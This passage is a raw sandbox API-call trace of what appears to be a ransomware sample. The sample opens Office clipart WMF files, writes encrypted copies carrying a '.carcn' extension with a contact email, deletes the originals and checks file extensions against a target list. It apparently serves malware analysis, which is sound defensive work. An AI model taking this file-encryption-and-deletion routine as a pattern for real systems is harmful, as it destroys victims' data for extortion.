hTemplateFile=0x0) returned 0x528 [0261.706] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=1596) returned 1 [0261.706] CloseHandle (hObject=0x528) returned 1 [0261.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf")) returned 0x220 [0261.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0262.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0262.132] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.132] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0262.133] GetLastError () returned 0x0 [0262.133] ReadFile (in: hFile=0x524, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x63c, lpOverlapped=0x0) returned 1 [0262.238] WriteFile (in: hFile=0x538, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x640, lpOverlapped=0x0) returned 1 [0262.239] ReadFile (in: hFile=0x524, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0262.239] WriteFile (in: hFile=0x538, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0262.239] SetEndOfFile (hFile=0x538) returned 1 [0262.244] CloseHandle (hObject=0x538) returned 1 [0262.248] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.248] SetEndOfFile (hFile=0x524) returned 1 [0262.250] CloseHandle (hObject=0x524) returned 1 [0262.250] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0262.251] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf")) returned 1 [0262.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0262.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0262.251] lstrlenW (lpString=".doc") returned 4 [0262.251] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.251] lstrlenW (lpString=".docx") returned 5 [0262.251] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.251] lstrlenW (lpString=".pdf") returned 4 [0262.251] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.251] lstrlenW (lpString=".xls") returned 4 [0262.251] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.251] lstrlenW (lpString=".xlsx") returned 5 [0262.251] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.251] lstrlenW (lpString=".ppt") returned 4 [0262.251] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0262.252] lstrlenW (lpString=".zip") returned 4 [0262.252] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.252] lstrlenW (lpString=".rar") returned 4 [0262.252] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.252] lstrlenW (lpString=".bz2") returned 4 [0262.252] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.252] lstrlenW (lpString=".7z") returned 3 [0262.252] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0262.252] lstrlenW (lpString=".dbf") returned 4 [0262.252] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0262.252] lstrlenW (lpString=".1cd") returned 4 [0262.252] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0262.252] lstrlenW (lpString=".jpg") returned 4 [0262.252] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0262.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0262.252] lstrlenW (lpString=".doc") returned 4 [0262.252] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.252] lstrlenW (lpString=".docx") returned 5 [0262.252] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.253] lstrlenW (lpString=".pdf") returned 4 [0262.253] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.253] lstrlenW (lpString=".xls") returned 4 [0262.253] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.253] lstrlenW (lpString=".xlsx") returned 5 [0262.253] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.253] lstrlenW (lpString=".ppt") returned 4 [0262.253] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0262.253] lstrlenW (lpString=".zip") returned 4 [0262.253] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.253] lstrlenW (lpString=".rar") returned 4 [0262.253] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.253] lstrlenW (lpString=".bz2") returned 4 [0262.253] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.253] lstrlenW (lpString=".7z") returned 3 [0262.253] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0262.253] lstrlenW (lpString=".dbf") returned 4 [0262.253] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0262.253] lstrlenW (lpString=".1cd") returned 4 [0262.253] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0262.253] lstrlenW (lpString=".jpg") returned 4 [0262.253] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.253] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0262.253] lstrlenW (lpString="AN02122_.WMF") returned 12 [0262.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0262.268] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=7540) returned 1 [0262.268] CloseHandle (hObject=0x528) returned 1 [0262.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf")) returned 0x220 [0262.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0262.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0262.269] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.269] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0262.270] GetLastError () returned 0x0 [0262.270] ReadFile (in: hFile=0x528, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x1d74, lpOverlapped=0x0) returned 1 [0262.346] WriteFile (in: hFile=0x530, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x1d80, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x1d80, lpOverlapped=0x0) returned 1 [0262.347] ReadFile (in: hFile=0x528, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0262.347] WriteFile (in: hFile=0x530, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0262.347] SetEndOfFile (hFile=0x530) returned 1 [0262.348] CloseHandle (hObject=0x530) returned 1 [0262.352] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.352] SetEndOfFile (hFile=0x528) returned 1 [0262.355] CloseHandle (hObject=0x528) returned 1 [0262.355] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0262.356] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf")) returned 1 [0262.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0262.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0262.356] lstrlenW (lpString=".doc") returned 4 [0262.356] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.356] lstrlenW (lpString=".docx") returned 5 [0262.356] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.357] lstrlenW (lpString=".pdf") returned 4 [0262.357] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.357] lstrlenW (lpString=".xls") returned 4 [0262.357] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.357] lstrlenW (lpString=".xlsx") returned 5 [0262.357] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.357] lstrlenW (lpString=".ppt") returned 4 [0262.357] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0262.357] lstrlenW (lpString=".zip") returned 4 [0262.357] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.357] lstrlenW (lpString=".rar") returned 4 [0262.357] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.357] lstrlenW (lpString=".bz2") returned 4 [0262.357] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.357] lstrlenW (lpString=".7z") returned 3 [0262.357] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0262.357] lstrlenW (lpString=".dbf") returned 4 [0262.357] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0262.357] lstrlenW (lpString=".1cd") returned 4 [0262.357] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0262.357] lstrlenW (lpString=".jpg") returned 4 [0262.357] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0262.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0262.358] lstrlenW (lpString=".doc") returned 4 [0262.358] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.358] lstrlenW (lpString=".docx") returned 5 [0262.358] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.358] lstrlenW (lpString=".pdf") returned 4 [0262.358] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.358] lstrlenW (lpString=".xls") returned 4 [0262.358] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.358] lstrlenW (lpString=".xlsx") returned 5 [0262.358] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.358] lstrlenW (lpString=".ppt") returned 4 [0262.358] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0262.358] lstrlenW (lpString=".zip") returned 4 [0262.358] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.358] lstrlenW (lpString=".rar") returned 4 [0262.358] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.358] lstrlenW (lpString=".bz2") returned 4 [0262.358] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.358] lstrlenW (lpString=".7z") returned 3 [0262.358] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0262.358] lstrlenW (lpString=".dbf") returned 4 [0262.359] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0262.359] lstrlenW (lpString=".1cd") returned 4 [0262.359] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0262.359] lstrlenW (lpString=".jpg") returned 4 [0262.359] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.359] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0262.359] lstrlenW (lpString="AN04117_.WMF") returned 12 [0262.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0262.707] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=6060) returned 1 [0262.708] CloseHandle (hObject=0x54c) returned 1 [0262.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf")) returned 0x220 [0262.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0262.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0262.708] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.708] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0262.710] GetLastError () returned 0x0 [0262.710] ReadFile (in: hFile=0x54c, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x17ac, lpOverlapped=0x0) returned 1 [0262.800] WriteFile (in: hFile=0x4b0, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x17b0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x17b0, lpOverlapped=0x0) returned 1 [0262.801] ReadFile (in: hFile=0x54c, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0262.801] WriteFile (in: hFile=0x4b0, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0262.801] SetEndOfFile (hFile=0x4b0) returned 1 [0262.801] CloseHandle (hObject=0x4b0) returned 1 [0262.802] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.802] SetEndOfFile (hFile=0x54c) returned 1 [0262.805] CloseHandle (hObject=0x54c) returned 1 [0262.805] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0262.806] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf")) returned 1 [0262.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0262.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0262.806] lstrlenW (lpString=".doc") returned 4 [0262.806] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.806] lstrlenW (lpString=".docx") returned 5 [0262.806] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.806] lstrlenW (lpString=".pdf") returned 4 [0262.806] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.806] lstrlenW (lpString=".xls") returned 4 [0262.807] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.807] lstrlenW (lpString=".xlsx") returned 5 [0262.807] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.807] lstrlenW (lpString=".ppt") returned 4 [0262.807] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0262.807] lstrlenW (lpString=".zip") returned 4 [0262.807] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.807] lstrlenW (lpString=".rar") returned 4 [0262.807] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.807] lstrlenW (lpString=".bz2") returned 4 [0262.807] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.807] lstrlenW (lpString=".7z") returned 3 [0262.807] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0262.807] lstrlenW (lpString=".dbf") returned 4 [0262.807] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0262.807] lstrlenW (lpString=".1cd") returned 4 [0262.807] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0262.807] lstrlenW (lpString=".jpg") returned 4 [0262.807] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0262.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0262.807] lstrlenW (lpString=".doc") returned 4 [0262.808] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.808] lstrlenW (lpString=".docx") returned 5 [0262.808] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.808] lstrlenW (lpString=".pdf") returned 4 [0262.808] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.808] lstrlenW (lpString=".xls") returned 4 [0262.808] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.808] lstrlenW (lpString=".xlsx") returned 5 [0262.808] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.808] lstrlenW (lpString=".ppt") returned 4 [0262.808] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0262.808] lstrlenW (lpString=".zip") returned 4 [0262.808] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.808] lstrlenW (lpString=".rar") returned 4 [0262.808] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.808] lstrlenW (lpString=".bz2") returned 4 [0262.808] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.808] lstrlenW (lpString=".7z") returned 3 [0262.808] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0262.808] lstrlenW (lpString=".dbf") returned 4 [0262.808] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0262.808] lstrlenW (lpString=".1cd") returned 4 [0262.808] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0262.809] lstrlenW (lpString=".jpg") returned 4 [0262.809] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.809] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0262.809] lstrlenW (lpString="AN04196_.WMF") returned 12 [0262.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0262.851] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=3144) returned 1 [0262.851] CloseHandle (hObject=0x528) returned 1 [0262.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft 